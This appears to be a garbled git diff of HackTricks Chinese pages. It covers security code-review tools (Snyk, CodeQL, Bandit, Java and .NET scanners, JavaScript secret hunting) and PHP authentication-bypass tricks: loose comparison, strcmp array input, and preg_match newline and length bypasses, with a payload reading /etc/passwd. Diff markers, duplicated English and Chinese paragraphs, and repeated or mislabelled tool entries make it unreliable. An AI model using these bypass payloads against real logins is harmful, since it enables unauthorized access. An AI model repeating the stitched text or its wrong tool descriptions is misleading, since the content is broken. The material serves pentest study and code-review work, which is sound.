-Dsonar.host.url=http://localhost:9000 \
-Dsonar.token=<sonar_project_token>
```
{% endcode %}
### [**Snyk**](https://snyk.io/product/snyk-code/)
有一个**可安装的免费版本**。
#### 快速入门
```bash
# Install
sudo npm install -g snyk
# Authenticate (you can use a free account)
snyk auth
# Test for open source vulns & license issues
snyk test [--all-projects]
# Test for code vulnerabilities
## This will upload your code and you need to enable this option in: Settings > Snyk Code
snyk test code
# Test for vulns in images
snyk container test [image]
# Test for IaC vulns
snyk iac test
```
您还可以使用[snyk VSCode扩展](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner)在VSCode中获取结果。
### CodeQL
有一个**可安装的免费版本**。
#### 安装
```bash
brew install codeql
# Check it's correctly installed
codeql resolve qlpacks
```
{% code overflow="wrap" %}
```bash
# Download your release from https://github.com/github/codeql-action/releases
## Example
wget https://github.com/github/codeql-action/releases/download/codeql-bundle-v2.14.3/codeql-bundle-osx64.tar.gz
# Move it to the destination folder
mkdir ~/codeql
mv codeql-bundle* ~/codeql
# Decompress it
cd ~/codeql
tar -xzvf codeql-bundle-*.tar.gz
rm codeql-bundle-*.tar.gz
# Add to path
echo 'export PATH="$PATH:/Users/username/codeql/codeql"' >> ~/.zshrc
# Check it's correctly installed
## Open a new terminal
codeql resolve qlpacks
```
#### 快速入门
{% code overflow="wrap" %}
```bash
# Prepare the database
## You need to export a GITHUB_TOKEN (codeql will detect languages automatically)
export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create <database> --db-cluster --source-root </path/to/repo>
## Or to indicate the languages yourself (https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)
codeql database create <database> --language=<language-identifier> --source-root </path/to/repo>
## For example
export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create /tmp/codeql_db --db-cluster --source-root /path/to/repo # Generate the folder /tmp/codeql_db
# Analyze the code
codeql database analyze <database> --format=<format> --output=</out/file/path> --download
## Example
codeql database analyze /tmp/codeql_db --download --format=csv --output=/tmp/graphql_results.csv
```
{% endcode %}
您还可以使用[**VSCode扩展**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)在VSCode中获取结果。
### [Insider](https://github.com/insidersec/insider)
这是一个**开源**工具,但看起来**未维护**。
#### 支持的语言
JavaMaven和Android、KotlinAndroid、SwiftiOS、.NET Full Framework、C#和JavascriptNode.js
#### 快速入门
```bash
# Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
$ tar -xf insider_2.1.0_linux_x86_64.tar.gz
$ chmod +x insider
$ ./insider --tech javascript --target <projectfolder>
```
### [**DeepSource**](https://deepsource.com/pricing)&#x20;
对于**公共仓库**免费。
## NodeJS
* **`yarn`**
```bash
# Install
brew isntall yarn
# Run
cd /path/to/repo
yarn audit
```
https://github.com/ajinabraham/nodejsscan
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)****用于Node.js应用程序的静态安全代码扫描器SAST由[libsast](https://github.com/ajinabraham/libsast)和[semgrep](https://github.com/returntocorp/semgrep)提供支持。
```bash
# Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
# Got to localhost:9090
# Upload a zip file with the code
```
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js的目标是帮助您检测使用已知漏洞的JS库版本。
```bash
# Install
npm install -g retire
# Run
cd /path/to/repo
retire --colors
```
## Electron
Electron is a popular framework for building cross-platform desktop applications using web technologies such as HTML, CSS, and JavaScript. It allows developers to create native-like applications for Windows, macOS, and Linux using a single codebase.
* [**electronegativity**](https://github.com/doyensec/electronegativity)****这是一个用于识别基于Electron的应用程序中的配置错误和安全反模式的工具。
### Security Considerations
When conducting a code review of an Electron application, there are several security considerations to keep in mind:
1. **Remote Code Execution (RCE)**: Electron applications can execute remote code, which can introduce security vulnerabilities if not properly handled. Review the code for any instances where remote code is executed and ensure that proper security measures, such as input validation and sanitization, are in place.
2. **Electron APIs**: Electron provides a wide range of APIs that allow developers to access system resources and interact with the underlying operating system. Review the usage of these APIs to ensure that they are used securely and that any potential security risks, such as privilege escalation or unauthorized access, are mitigated.
3. **File System Access**: Electron applications have access to the file system, which can be a potential security risk if not properly controlled. Review the code for any file system operations and ensure that proper access controls and input validation are implemented to prevent unauthorized access or file manipulation.
4. **Network Communication**: Electron applications can communicate with remote servers and APIs. Review the code for any network communication and ensure that secure protocols, such as HTTPS, are used to protect sensitive data in transit. Additionally, validate any user input used in network requests to prevent common security vulnerabilities such as SQL injection or cross-site scripting (XSS).
5. **Third-Party Dependencies**: Electron applications often rely on third-party dependencies, such as npm packages. Review the usage of these dependencies and ensure that they are up to date and free from known security vulnerabilities. Use tools like npm audit to identify and address any security issues.
### Code Review Tools
There are several code review tools that can be used to assist in the review of Electron applications:
1. **Electronegativity**: Electronegativity is a static analysis tool specifically designed for Electron applications. It scans the codebase for potential security vulnerabilities and provides actionable recommendations for remediation.
2. **ESLint**: ESLint is a popular JavaScript linter that can be configured to enforce security best practices. It can help identify potential security issues, such as unsafe code patterns or insecure API usage, during the code review process.
3. **Dependency Checkers**: Tools like npm audit or Snyk can be used to identify known security vulnerabilities in the application's dependencies. These tools can help ensure that all third-party packages used in the Electron application are free from known vulnerabilities.
4. **Manual Code Review**: While automated tools can assist in the code review process, a manual code review is still essential to identify any potential security issues that may not be caught by automated tools. Review the codebase thoroughly, paying attention to areas such as input validation, authentication, and authorization.
By considering these security considerations and utilizing code review tools, you can help ensure the security of Electron applications and mitigate potential vulnerabilities.
```
https://github.com/doyensec/electronegativity
```
## Python
Python is a widely used programming language for web development, data analysis, artificial intelligence, and more. It is known for its simplicity and readability, making it a popular choice among developers.
### Code Review Tools
When conducting a code review in Python, there are several tools that can help identify potential vulnerabilities and improve the overall quality of the code. Here are some commonly used code review tools for Python:
1. **Pylint**: Pylint is a static code analysis tool that checks for errors, coding standards, and potential bugs in Python code. It provides detailed reports and can be integrated with various IDEs.
2. **Bandit**: Bandit is a security-focused code analysis tool specifically designed for Python. It scans for common security issues such as SQL injections, cross-site scripting (XSS), and hardcoded passwords.
3. **Pyflakes**: Pyflakes is a lightweight static analysis tool that focuses on finding errors in Python code. It checks for unused variables, undefined names, and other common mistakes.
4. **Mypy**: Mypy is a static type checker for Python that helps catch type-related errors. It can be used to enforce type annotations and improve code quality.
5. **Coverage.py**: Coverage.py is a code coverage tool that measures the extent to which your Python code is tested. It helps identify areas of code that are not covered by tests, allowing you to improve test coverage.
6. **Radon**: Radon is a Python code complexity analyzer that calculates various metrics such as cyclomatic complexity and maintainability index. It helps identify complex code that may be difficult to understand and maintain.
These code review tools can be used individually or in combination to ensure that your Python code is secure, efficient, and maintainable. By incorporating them into your development process, you can catch potential issues early on and deliver higher quality code.
* [**Bandit**](https://github.com/PyCQA/bandit)****Bandit是一个旨在查找Python代码中常见安全问题的工具。为此Bandit处理每个文件从中构建AST并针对AST节点运行适当的插件。一旦Bandit完成扫描所有文件它就会生成一份报告。
```bash
# bandit
https://github.com/PyCQA/bandit
# pyt
https://github.com/python-security/pyt
# Install
pip3 install bandit
# Run
bandit -r <path to folder>
```
* [**safety**](https://github.com/pyupio/safety): Safety检查Python依赖项是否存在已知的安全漏洞并提供适当的修复建议。Safety可以在开发者机器上运行在CI/CD流水线上运行也可以在生产系统上运行。
```bash
# Install
pip install safety
# Run
safety check
```
* [~~**Pyt**~~](https://github.com/python-security/pyt): 未维护
## .NET
### Code Review Tools
#### .NET反编译器
- **dnSpy** - 一个开源的.NET反编译器和调试器可以用于分析和修改.NET程序集。
#### .NET代码分析工具
- **SonarQube** - 一个开源的代码质量管理平台,可以用于分析和评估.NET代码的质量。
#### .NET代码审查工具
- **Roslynator** - 一个开源的.NET代码分析工具可以用于自动化代码审查和修复。
#### .NET代码漏洞扫描工具
- **Security Code Scan** - 一个开源的Visual Studio扩展可以用于扫描.NET代码中的安全漏洞。
#### .NET代码混淆工具
- **ConfuserEx** - 一个开源的.NET代码混淆工具可以用于保护.NET应用程序免受逆向工程攻击。
#### .NET代码覆盖率工具
- **OpenCover** - 一个开源的.NET代码覆盖率工具可以用于测量代码的测试覆盖率。
#### .NET代码审计工具
- **CodeQL** - 一个强大的代码审计工具,可以用于分析和发现.NET代码中的安全漏洞。
#### .NET代码静态分析工具
- **ReSharper** - 一个商业化的.NET代码静态分析工具可以用于提供代码建议和自动化重构。
#### .NET代码漏洞挖掘工具
- **PeachPie** - 一个开源的.NET代码漏洞挖掘工具可以用于发现和利用.NET应用程序中的漏洞。
#### .NET代码漏洞修复工具
- **Microsoft.CodeAnalysis.FxCopAnalyzers** - 一个开源的.NET代码漏洞修复工具可以用于自动修复.NET代码中的安全漏洞。
#### .NET代码安全审计工具
- **Security Code Scan** - 一个开源的.NET代码安全审计工具可以用于发现和修复.NET代码中的安全问题。
#### .NET代码性能分析工具
- **dotTrace** - 一个商业化的.NET代码性能分析工具可以用于分析和优化.NET应用程序的性能。
#### .NET代码漏洞检测工具
- **Fortify** - 一个商业化的.NET代码漏洞检测工具可以用于发现和修复.NET代码中的安全漏洞。
#### .NET代码漏洞扫描工具
- **Veracode** - 一个商业化的.NET代码漏洞扫描工具可以用于发现和修复.NET代码中的安全漏洞。
#### .NET代码安全扫描工具
- **Checkmarx** - 一个商业化的.NET代码安全扫描工具可以用于发现和修复.NET代码中的安全问题。
#### .NET代码漏洞分析工具
- **AppScan** - 一个商业化的.NET代码漏洞分析工具可以用于分析和修复.NET代码中的安全漏洞。
#### .NET代码漏洞挖掘工具
- **RIPS** - 一个商业化的.NET代码漏洞挖掘工具可以用于发现和利用.NET应用程序中的漏洞。
#### .NET代码漏洞修复工具
- **Coverity** - 一个商业化的.NET代码漏洞修复工具可以用于自动修复.NET代码中的安全漏洞。
#### .NET代码安全审计工具
- **HP Fortify** - 一个商业化的.NET代码安全审计工具可以用于发现和修复.NET代码中的安全问题。
#### .NET代码性能分析工具
- **ANTS Performance Profiler** - 一个商业化的.NET代码性能分析工具可以用于分析和优化.NET应用程序的性能。
#### .NET代码漏洞检测工具
- **IBM Security AppScan** - 一个商业化的.NET代码漏洞检测工具可以用于发现和修复.NET代码中的安全漏洞。
#### .NET代码漏洞扫描工具
- **Qualys** - 一个商业化的.NET代码漏洞扫描工具可以用于发现和修复.NET代码中的安全漏洞。
#### .NET代码安全扫描工具
- **WhiteSource** - 一个商业化的.NET代码安全扫描工具可以用于发现和修复.NET代码中的安全问题。
```bash
# dnSpy
https://github.com/0xd4d/dnSpy
@ -296,55 +242,55 @@ Java是一种广泛使用的编程语言常用于开发Web应用程序和企
### FindBugs
FindBugs是一个静态分析工具用于查找Java代码中的常见错误和潜在的安全漏洞。它可以检测到空指针引用、资源未关闭、不安全的类型转换等问题。
FindBugs是一个静态代码分析工具用于查找Java代码中的常见错误和潜在的安全漏洞。它可以检测到空指针引用、资源未关闭、不安全的类型转换等问题。
使用方法:
```bash
$ findbugs -textui <jar文件>
$ findbugs -textui <path_to_jar_file>
```
### PMD
PMD是一个源代码静态分析工具,用于查Java代码中的潜在问题和不良实践。它可以检测到未使用的变量、重复的代码、不必要的条件等问题
PMD是一个静态代码分析工具,用于查Java代码中的潜在问题和不良实践。它可以发现未使用的变量、重复的代码、不必要的条件等。
使用方法:
```bash
$ pmd -d <源代码目录> -f text
$ pmd -d <path_to_source_code> -R <ruleset_file>
```
### Checkstyle
Checkstyle是一个用于检查Java代码风格和编码规范的工具。它可以检测到缩进错误、命名规范不一致、代码注释不规范等问题
Checkstyle是一个用于强制执行编码规范的工具。它可以检查Java代码是否符合指定的代码风格和规范
使用方法:
```bash
$ checkstyle -c <配置文件> <源代码目录>
$ checkstyle -c <config_file> <path_to_source_code>
```
### SonarQube
SonarQube是一个用于代码质量管理的开源平台。它可以检测到代码重复、安全漏洞、代码覆盖率等问题,并提供详细的报告和建议。
SonarQube是一个用于代码质量管理的开源平台。它可以检测代码中的漏洞、坏味道和技术债务,并提供有关如何改进代码质量的建议。
使用方法:
1. 安装SonarQube服务器。
2. 在项目中集成SonarQube插件
3. 运行SonarQube分析
2. 在项目中集成SonarQube扫描器
3. 运行扫描器以分析代码并生成报告
### FindSecBugs
FindSecBugs是一个基于FindBugs的插件专门用于查找Java代码中的安全漏洞。它可以检测到不安全的加密算法、XSS漏洞、SQL注入等问题
FindSecBugs是一个专门用于查找Java代码中安全漏洞的工具。它基于FindBugs并提供了更多的安全规则和检查项
使用方法:
```bash
$ findsecbugs -textui <jar文件>
$ findsecbugs -progress -effort:max <path_to_jar_file>
```
以上工具可以帮助您在进行Java代码审查时发现潜在的安全漏洞和代码质量问题
以上是一些常用的Java代码审查工具可以帮助发现潜在的安全漏洞和提高代码质量。在进行代码审查时建议结合多个工具使用以获得更全面的分析结果
```bash
# JD-Gui
https://github.com/java-decompiler/jd-gui
@ -358,16 +304,16 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class
| 任务 | 命令 |
| --------------- | --------------------------------------------------------- |
| 执行 Jar | java -jar \[jar] |
| 解压 Jar | unzip -d \[output directory] \[jar] |
| 解压 Jar | unzip -d \[output directory] \[jar] |
| 创建 Jar | jar -cmf META-INF/MANIFEST.MF \[output jar] \* |
| Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| 除签名 | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| 除签名 | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| 从 Jar 中删除 | zip -d \[jar] \[file to remove] |
| 反编译类 | procyon -o . \[path to class] |
| 反编译 Jar | procyon -jar \[jar] -o \[output directory] |
| 编译类 | javac \[path to .java file] |
##
##
```bash
https://github.com/securego/gosec
```
@ -383,18 +329,117 @@ https://github.com/securego/gosec
* [https://www.npmjs.com/package/solium](https://www.npmjs.com/package/solium)
## JavaScript
### 发现
1. Burp
* Spider和发现内容
* Sitemap > 过滤器
* Sitemap > 右键单击域名 > Engagement工具 > 查找脚本
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls)
* `waybackurls <domain> |grep -i "\.js" |sort -u`
### 静态分析
#### 反混淆/美化/格式化
* [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/)
#### 解混淆/解包
**注意**:可能无法完全解混淆。
1. 查找并使用.map文件
* 如果.map文件被公开可以使用它们轻松解混淆。
* 通常foo.js.map映射到foo.js。手动查找它们。
* 使用[JS Miner](https://github.com/PortSwigger/js-miner)查找它们。
* 确保进行主动扫描。
* 阅读“[提示/笔记](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)”
* 如果找到,请使用[Maximize](https://www.npmjs.com/package/maximize)进行解混淆。
2. 如果没有.map文件请尝试使用JSnice
* 参考http://jsnice.org/和https://www.npmjs.com/package/jsnice
* 提示:
* 如果使用jsnice.org请点击“Nicify JavaScript”按钮旁边的选项按钮并取消选择“Infer types”以减少代码中的注释。
* 确保在脚本之前不留下任何空行,因为它可能会影响解混淆过程并导致不准确的结果。
3. 使用console.log();
* 找到最后的返回值,并将其更改为`console.log(<packerReturnVariable>);`以便打印解混淆的js而不是执行它。
* 然后将修改后仍然混淆的js粘贴到https://jsconsole.com/中以查看解混淆的js在控制台中记录。
* 最后将解混淆的输出粘贴到https://prettier.io/playground/中进行美化以进行分析。
* **注意**如果仍然看到打包的但不同的js则可能是递归打包。重复该过程。
#### 分析
参考https://medium.com/techiepedia/javascript-code-review-guide-for-bug-bounty-hunters-c95a8aa7037a
寻找:
* 反调试加载
* Angular[enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2)
* 密钥
* 使用:
* [JS Miner](https://github.com/PortSwigger/js-miner)
* [RegHex](https://github.com/l4yton/RegHex)模式
* [gf](https://github.com/tomnomnom/gf/tree/master/examples)模式
* Grep相关字典模式
* pass, user, admin
* auth, login, sign, challenge, 2fa
* key, apikey, api\_key, api-key, jwt, token
* secret, security, secure
* ...
* 手动审查
* 如果找到API密钥请在此处检查潜在的使用语法https://github.com/streaak/keyhacks。
* 漏洞函数
* InnerHTML() - 如果找到此函数意味着如果没有进行适当的净化可能存在XSS的潜在机会。即使您的有效负载已经过净化也不用担心。跟踪代码以找出净化发生的位置。研究它并尝试绕过净化。
* Postmessage() - 如果您阅读了我的先前文章https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc您会注意到Postmessage()可能导致潜在的CORS问题。如果函数的第二个参数设置为\*,那么您是幸运的人。查看我的先前文章以了解更多相关机制。
* String.prototype.search() - 这个函数看起来很正常。为什么它会是一个危险的函数呢?因为一些开发人员使用它来查找一个字符串在另一个字符串中的出现。然而,“.”在这个函数中被视为通配符。因此,如果此函数用作净化检查,您可以通过输入“.”来简单地绕过它。查看Filedescryptor的hackerone报告https://hackerone.com/reports/129873
* 端点和参数
* 使用[LinkFinder](https://github.com/GerbenJavado/LinkFinder)和[JS Miner](https://github.com/PortSwigger/js-miner)。
* 漏洞库和依赖项
* 使用[Retire.js](https://retirejs.github.io/retire.js/)和[NPM](https://snyk.io/advisor/)(向下滚动到安全部分>所有版本链接)。
* 云URL
* 使用[JS Miner](https://github.com/PortSwigger/js-miner)。
* 子域
* 使用[JS Miner](https://github.com/PortSwigger/js-miner)。
* 逻辑漏洞
* 获得情境意识:
* `use strict;`
* Grep客户端控件
* disable, enable, hidden, hide, show
* catch, finally, throw, try
* input, validate, verify, valid, correct, check, confirm, require, ..
* Grep非原始类型
* function , =>
* class
### 动态分析
参考
* https://www.youtube.com/watch?v=\_v8r\_t4v6hQ
* https://blog.nvisium.com/angular-for-pentesters-part-1
* https://blog.nvisium.com/angular-for-pentesters-part-2
工具
* https://portswigger.net/burp/documentation/desktop/tools/dom-invader
#### 不常用的参考资料
* https://cyberchef.org/
* https://olajs.com/javascript-prettifier
* https://jshint.com/
* https://github.com/jshint/jshint/
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [💬](https://emojipedia.org/speech-balloon/) [Discord 群组](https://discord.gg/hRep4RUj7f) 或 [Telegram 群组](https://t.me/peass) 或 **关注**我的 **Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)**。**
* **通过向** [hacktricks 仓库](https://github.com/carlospolop/hacktricks) **和** [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -7,7 +7,7 @@
* 你在一个 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass)**关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
@ -30,7 +30,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## 绕过PHP比较
### 比较/类型转换(==
### 宽松比较/类型转换(==
如果在PHP中使用`==`,则会出现意外情况,比较的行为与预期不符。这是因为"=="只比较转换为相同类型的值,如果您还想比较所比较数据的类型是否相同,您需要使用`===`。
@ -44,10 +44,10 @@ PHP比较表[https://www.php.net/manual/en/types.comparisons.php](https://www
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式组成的字符串可以与其他数字/字符串进行比较如果数字相同则结果为True字符串中的数字被解释为数字
* `"0e3264578" == 0 --> True` 以"0e"开头并后跟任何内容的字符串将等于0
* `"0X3264578" == 0X --> True` 以"0"开头并后跟任何字母X可以是任何字母和任何内容的字符串将等于0
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,您可以控制以"0"开头且没有任何字母的字符串输入以及正在与其进行比较的某些内容的哈希。因此,如果您可以提供一个值,该值将创建以"0e"开头且没有任何字母的哈希,您可以绕过比较。您可以在此处找到具有此格式的**已哈希字符串**[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,您可以控制字符串输入的"0"和正在进行哈希和比较的某些内容。因此,如果您可以提供一个值,该值将创建一个以"0e"开头且没有任何字母的哈希,您可以绕过比较。您可以在此处找到具有此格式的**已哈希字符串**[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 字符串中的任何字母都等于整数0
更多信息请参[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
更多信息请参[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
@ -61,18 +61,18 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
如果这个函数用于**任何身份验证检查**(比如检查密码),并且用户控制比较的一方,他可以发送一个空数组作为密码的值`https://example.com/login.php/?username=admin&password[]=`),从而绕过这个检查:
如果这个函数用于**任何身份验证检查**(比如检查密码),并且用户控制比较的一方,他可以发送一个空数组作为密码的值 (`https://example.com/login.php/?username=admin&password[]=`) 来绕过这个检查:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
`strcasecmp()`也会出现相同的错误。
`strcasecmp()` 也会出现相同的错误。
### 严格类型转换
即使使用了`===`,仍然可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较在比较之前将数据转换为不同类型的对象:
即使使用了 `===`,仍然可能出现错误,使得比较容易受到类型转换的攻击。例如,如果在比较之前将数据转换为不同类型的对象:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -82,7 +82,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
#### 换行绕过
然而,当定界正则表达式的开时,`preg_match()`**只会检查用户输入的第一行**,所以如果你可以以**多行**的方式**发送**输入,你就可以绕过这个检查。例如:
然而,当定界正则表达式的开时,`preg_match()`**只会检查用户输入的第一行**,所以如果你可以以**多行**的方式**发送**输入,你就可以绕过这个检查。例如:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -95,7 +95,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
为了绕过这个检查,你可以使用**换行符进行URL编码**`%0A`)发送值,或者如果你可以发送**JSON数据**,可以将其分**多行**发送:
为了绕过这个检查,你可以使用**换行符进行URL编码**`%0A`)发送值,或者如果你可以发送**JSON数据**,可以将其分**多行**发送:
```php
{
"cmd": "cat /etc/passwd"
@ -105,36 +105,30 @@ echo preg_match("/^.*1.*$/",$myinput);
#### **长度错误绕过**
(这个绕过似乎是在 PHP 5.2.5 上尝试过的,我无法在 PHP 7.3.15 上使其工作)\
(这个绕过似乎在 PHP 5.2.5 上尝试过,但在 PHP 7.3.15 上无法使其工作)\
如果你能向 `preg_match()` 发送一个有效的非常**大的输入**,它将**无法处理**它,从而使你能够**绕过**检查。例如,如果它在黑名单中列出了一个 JSON你可以发送
```
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
```
### PHP混淆的类型转换
从:[https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
Type juggling is a technique used in PHP to obfuscate code and make it harder to understand. It involves manipulating the data types of variables in order to perform unexpected operations.
### 用于PHP混淆的类型转换技巧
类型转换是PHP中一种用于混淆代码并增加理解难度的技术。它涉及操作变量的数据类型以执行意外的操作。
Type juggling is a technique used in PHP to perform implicit type conversion. It can be used for obfuscation purposes, making code harder to understand and analyze. In this write-up, we will explore how type juggling can be used to obfuscate PHP code.
In PHP, variables do not have a fixed data type and can be dynamically changed based on the context in which they are used. This flexibility can be exploited to perform type juggling attacks.
类型转换是PHP中用于执行隐式类型转换的一种技术。它可以用于混淆目的使代码更难理解和分析。在本文中我们将探讨如何使用类型转换来混淆PHP代码。
在PHP中变量没有固定的数据类型并且可以根据使用的上下文动态更改。这种灵活性可以被利用来执行类型转换攻击。
Type juggling in PHP occurs when a comparison or operation is performed between two variables of different types. PHP automatically converts the variables to a common type before performing the operation. This can lead to unexpected behavior and vulnerabilities if not handled properly.
Type juggling attacks involve manipulating the data types of variables in order to bypass input validation checks or perform unexpected operations. For example, a string that starts with a numeric value can be automatically converted to a number when used in a mathematical operation.
在PHP中当对两个不同类型的变量进行比较或操作时会发生类型转换。PHP在执行操作之前会自动将变量转换为公共类型。如果处理不当这可能导致意外行为和漏洞。
类型转换攻击涉及操作变量的数据类型,以绕过输入验证检查或执行意外操作。例如,当在数学运算中使用以数字值开头的字符串时,它会自动转换为数字。
One common use of type juggling is in string comparison. PHP considers a string starting with a numeric value as a number, even if it contains non-numeric characters. For example, the string "123abc" is considered equal to the number 123. This can be exploited to bypass input validation and perform unexpected operations.
This can be used to bypass input validation checks that expect a specific data type. For example, if a web application expects a numeric input, an attacker can provide a string that starts with a number to bypass the validation check.
类型转换的一个常见用途是字符串比较。PHP将以数字值开头的字符串视为数字即使它包含非数字字符。例如字符串"123abc"被视为等于数字123。这可以被利用来绕过输入验证并执行意外操作。
这可以用于绕过期望特定数据类型的输入验证检查。例如如果Web应用程序期望数字输入攻击者可以提供以数字开头的字符串以绕过验证检查。
To prevent vulnerabilities caused by type juggling, it is important to properly validate and sanitize user input. Additionally, using strict type checking and avoiding implicit type conversion can help mitigate the risks associated with type juggling.
Type juggling attacks can also be used to perform unexpected operations. For example, by manipulating the data types of variables, an attacker can concatenate a string with a numeric value, resulting in unintended behavior.
类型转换攻击还可以用于执行意外操作。例如,通过操作变量的数据类型,攻击者可以将字符串与数字值连接起来,导致意外行为。
To protect against type juggling attacks, it is important to ensure that input validation checks are performed correctly and that the expected data types are enforced.
为了防止类型转换攻击,重要的是确保正确执行输入验证检查并强制执行预期的数据类型。
为了防止类型转换引起的漏洞,重要的是正确验证和清理用户输入。此外,使用严格的类型检查和避免隐式类型转换可以帮助减轻与类型转换相关的风险。
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
